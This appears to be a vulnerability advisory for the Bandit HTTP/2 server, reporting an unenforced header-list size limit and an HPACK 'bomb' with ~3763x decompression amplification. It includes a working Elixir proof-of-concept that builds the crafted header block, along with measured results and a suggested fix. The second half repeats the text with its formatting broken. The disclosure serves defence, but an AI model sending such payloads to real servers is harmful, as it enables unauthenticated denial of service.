Summary
Bandit advertises SETTINGS_MAX_HEADER_LIST_SIZE as :infinity by default and
never applies any limit to the decompressed size of an HTTP/2 header list.
Only the compressed header block is bounded (max_header_block_size,
default 50 000 bytes). Using HPACK dynamic-table references, a single ~50 KB
compressed HEADERS block decodes to a header list whose logical size (per RFC
9113 §6.5.2, sum(len(name) + len(value) + 32)) is ~180 MiB — an amplification
of ~3763×. Bandit builds and processes this full list on every such frame.
Severity Low–Moderate. Unauthenticated. This is primarily a protocol-conformance
gap (MAX_HEADER_LIST_SIZE is advertised but never enforced) with a
modest algorithmic/CPU DoS consequence
Details
Headers are decoded (lib/bandit/http2/connection.ex:155) with:
case HPAX.decode(frame.fragment, connection.recv_hpack_state) do
HPAX's decode/2 imposes no bound on the size of the decoded header list. The
only size guard is on the compressed fragment
(check_oversize_fragment!/2, connection.ex:279-282), against
max_header_block_size (default 50 000, including accumulated CONTINUATION
frames). max_header_list_size is defined in lib/bandit/http2/settings.ex:10
as :infinity and, by grep, is only ever stored and serialized
(lib/bandit/http2/frame/settings.ex:60,110-111) — it is never used to bound
decoding. Nothing enforces RFC 9113 §6.5.2 at all.
Suggested fix
After decoding, compute the RFC 9113 §6.5.2 size
(sum(len(name) + len(value) + 32)) and fail the connection with a
suitable error (or reset the stream) when it exceeds a finite, configurable,
and advertised max_header_list_size. Ship a sensible finite default rather
than :infinity.
PoC
poc_hpack_bomb.exs (attached) builds the block described above and decodes it
through HPAX.decode(block, HPAX.new(4096)) — the same call and table size
Bandit uses at connection.ex:13,155 — printing the header count, RFC 9113
logical size, decode time, and heap delta shown above.
# PoC: Bandit HTTP/2 never enforces SETTINGS_MAX_HEADER_LIST_SIZE.
# Bandit decodes headers with HPAX.decode(fragment, state) (connection.ex:155),
# bounding only the COMPRESSED block (max_header_block_size, default 50_000) via
# check_oversize_fragment!/2. The DECOMPRESSED (logical) header-list size is
# never bounded. RFC 9113 §6.5.2 defines that size as sum(len(name)+len(value)+32).
#
# This PoC crafts a ~50 KB HPACK block exactly like a client would send, decodes
# it through the SAME HPAX call Bandit uses, and measures:
# - number of decoded headers
# - logical size per RFC 9113 §6.5.2
# - actual client-side heap cost (to characterise the DoS honestly)
#
# Run: mix run poc_hpack_bomb.exs
# --- HPACK wire encoding helpers (RFC 7541) ---
defmodule HPACK do
import Bitwise
# integer with N-bit prefix, first byte OR'd with `flags`
def encode_int(value, prefix_bits, flags) do
max = (1 <<< prefix_bits) - 1
if value < max do
<<flags ||| value>>
else
rest = value - max
<<flags ||| max>> <> varint(rest)
end
end
defp varint(v) when v < 128, do: <<v>>
defp varint(v), do: <<(v &&& 0x7F) ||| 0x80>> <> varint(v >>> 7)
# literal string (no Huffman): 1-bit H=0, 7-bit length, then bytes
def string(bin), do: encode_int(byte_size(bin), 7, 0x00) <> bin
# literal header field WITH incremental indexing, new name (§6.2.1): 0x40
def literal_indexed(name, value), do: <<0x40>> <> string(name) <> string(value)
# indexed header field (§6.1): 1-bit set, 7-bit index
def indexed(index), do: encode_int(index, 7, 0x80)
end
# Build a dynamic-table entry as large as a default 4096-byte table allows.
# entry size = len(name) + len(value) + 32 (RFC 7541 §4.1) => 1 + 4063 + 32 = 4096
name = "x"
value = String.duplicate("A", 4063)
table_size = 4096
big_entry = HPACK.literal_indexed(name, value)
# Fill the rest of a ~50_000-byte compressed block with 1-byte references to
# dynamic index 62 (first user entry). Each reference decodes to name+value.
max_block = 50_000
ref = HPACK.indexed(62) # 1 byte: 0xBE
n_refs = div(max_block - byte_size(big_entry), byte_size(ref))
block = big_entry <> String.duplicate(ref, n_refs)
IO.puts("Compressed block size : #{byte_size(block)} bytes (Bandit cap max_header_block_size = 50_000)")
IO.puts("Dynamic entry size : #{byte_size(name) + byte_size(value) + 32} bytes (fits one #{table_size}-byte table)")
IO.puts("Number of references : #{n_refs}")
# --- Decode EXACTLY as Bandit does: HPAX.new(4096) then HPAX.decode/2 ---
:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
{t_us, result} = :timer.tc(fn -> HPAX.decode(block, HPAX.new(table_size)) end)
mem_after_raw = :erlang.memory(:total)
case result do
{:ok, headers, _ctx} ->
count = length(headers)
logical = Enum.reduce(headers, 0, fn {n, v}, acc -> acc + byte_size(n) + byte_size(v) + 32 end)
:erlang.garbage_collect()
mem_after_gc = :erlang.memory(:total)
IO.puts("\n--- decode result (through the exact HPAX.decode Bandit calls) ---")
IO.puts("Decoded header count : #{count}")
IO.puts("Logical size (RFC 9113) : #{Float.round(logical / 1_048_576, 1)} MiB <-- what MAX_HEADER_LIST_SIZE would cap")
IO.puts("Decode wall time : #{Float.round(t_us / 1000, 1)} ms")
IO.puts("Heap delta during decode : #{Float.round((mem_after_raw - mem_before) / 1_048_576, 1)} MiB (pre-GC)")
IO.puts("Heap delta after GC : #{Float.round((mem_after_gc - mem_before) / 1_048_576, 1)} MiB (retained; shows term-sharing effect)")
amp = Float.round(logical / byte_size(block), 0)
IO.puts("\nLogical amplification : ~#{trunc(amp)}x (#{byte_size(block)} compressed bytes -> #{Float.round(logical/1_048_576,1)} MiB logical)")
IO.puts("Bandit forwards ALL #{count} headers to stream validation/Plug; MAX_HEADER_LIST_SIZE is :infinity and never checked.")
other ->
IO.puts("decode returned: #{inspect(other)}")
end
Impact
I crafted a 50 000-byte HPACK block — one literal-with-incremental-indexing
header sized to fill a 4096-byte dynamic-table entry (index 62), followed by
45 931 single-byte indexed references to it — and decoded it through the exact
HPAX.decode/2 call Bandit uses. Measured results:
Compressed block size : 50000 bytes (Bandit cap max_header_block_size = 50_000)
Number of references : 45931
Decoded header count : 45932
Logical size (RFC 9113) : 179.4 MiB <-- what MAX_HEADER_LIST_SIZE would cap
Decode wall time : 5.9 ms
Heap delta during decode : 1.7 MiB (pre-GC)
Heap delta after GC : 1.7 MiB (retained; term-sharing)
Logical amplification : ~3763x
Real impact assessment:
- The 180 MiB is a logical size only. Actual retained heap is ~1.7 MiB
because HPAX returns the same shared binary term for every indexed
reference
- The real cost is CPU: for each such frame Bandit runs
HPAX.decode (~6 ms here) and then several O(n) passes over the
45 932-element list in Bandit.HTTP2.Stream.deliver_headers. This is repeatable across
streams (max_concurrent_streams defaults to :infinity) and across
connections. If the header list is crafted to be valid it is also handed
to Plug and the application, which will iterate it again.
Summary
Bandit advertises
SETTINGS_MAX_HEADER_LIST_SIZEas:infinityby default andnever applies any limit to the decompressed size of an HTTP/2 header list.
Only the compressed header block is bounded (
max_header_block_size,default 50 000 bytes). Using HPACK dynamic-table references, a single ~50 KB
compressed HEADERS block decodes to a header list whose logical size (per RFC
9113 §6.5.2,
sum(len(name) + len(value) + 32)) is ~180 MiB — an amplificationof ~3763×. Bandit builds and processes this full list on every such frame.
Severity Low–Moderate. Unauthenticated. This is primarily a protocol-conformance
gap (
MAX_HEADER_LIST_SIZEis advertised but never enforced) with amodest algorithmic/CPU DoS consequence
Details
Headers are decoded (
lib/bandit/http2/connection.ex:155) with:HPAX's
decode/2imposes no bound on the size of the decoded header list. Theonly size guard is on the compressed fragment
(
check_oversize_fragment!/2,connection.ex:279-282), againstmax_header_block_size(default 50 000, including accumulated CONTINUATIONframes).
max_header_list_sizeis defined inlib/bandit/http2/settings.ex:10as
:infinityand, by grep, is only ever stored and serialized(
lib/bandit/http2/frame/settings.ex:60,110-111) — it is never used to bounddecoding. Nothing enforces RFC 9113 §6.5.2 at all.
Suggested fix
After decoding, compute the RFC 9113 §6.5.2 size
(
sum(len(name) + len(value) + 32)) and fail the connection with asuitable error (or reset the stream) when it exceeds a finite, configurable,
and advertised
max_header_list_size. Ship a sensible finite default ratherthan
:infinity.PoC
poc_hpack_bomb.exs(attached) builds the block described above and decodes itthrough
HPAX.decode(block, HPAX.new(4096))— the same call and table sizeBandit uses at
connection.ex:13,155— printing the header count, RFC 9113logical size, decode time, and heap delta shown above.
Impact
I crafted a 50 000-byte HPACK block — one literal-with-incremental-indexing
header sized to fill a 4096-byte dynamic-table entry (index 62), followed by
45 931 single-byte indexed references to it — and decoded it through the exact
HPAX.decode/2call Bandit uses. Measured results:Real impact assessment:
because HPAX returns the same shared binary term for every indexed
reference
HPAX.decode(~6 ms here) and then severalO(n)passes over the45 932-element list in
Bandit.HTTP2.Stream.deliver_headers. This is repeatable acrossstreams (
max_concurrent_streamsdefaults to:infinity) and acrossconnections. If the header list is crafted to be valid it is also handed
to
Plugand the application, which will iterate it again.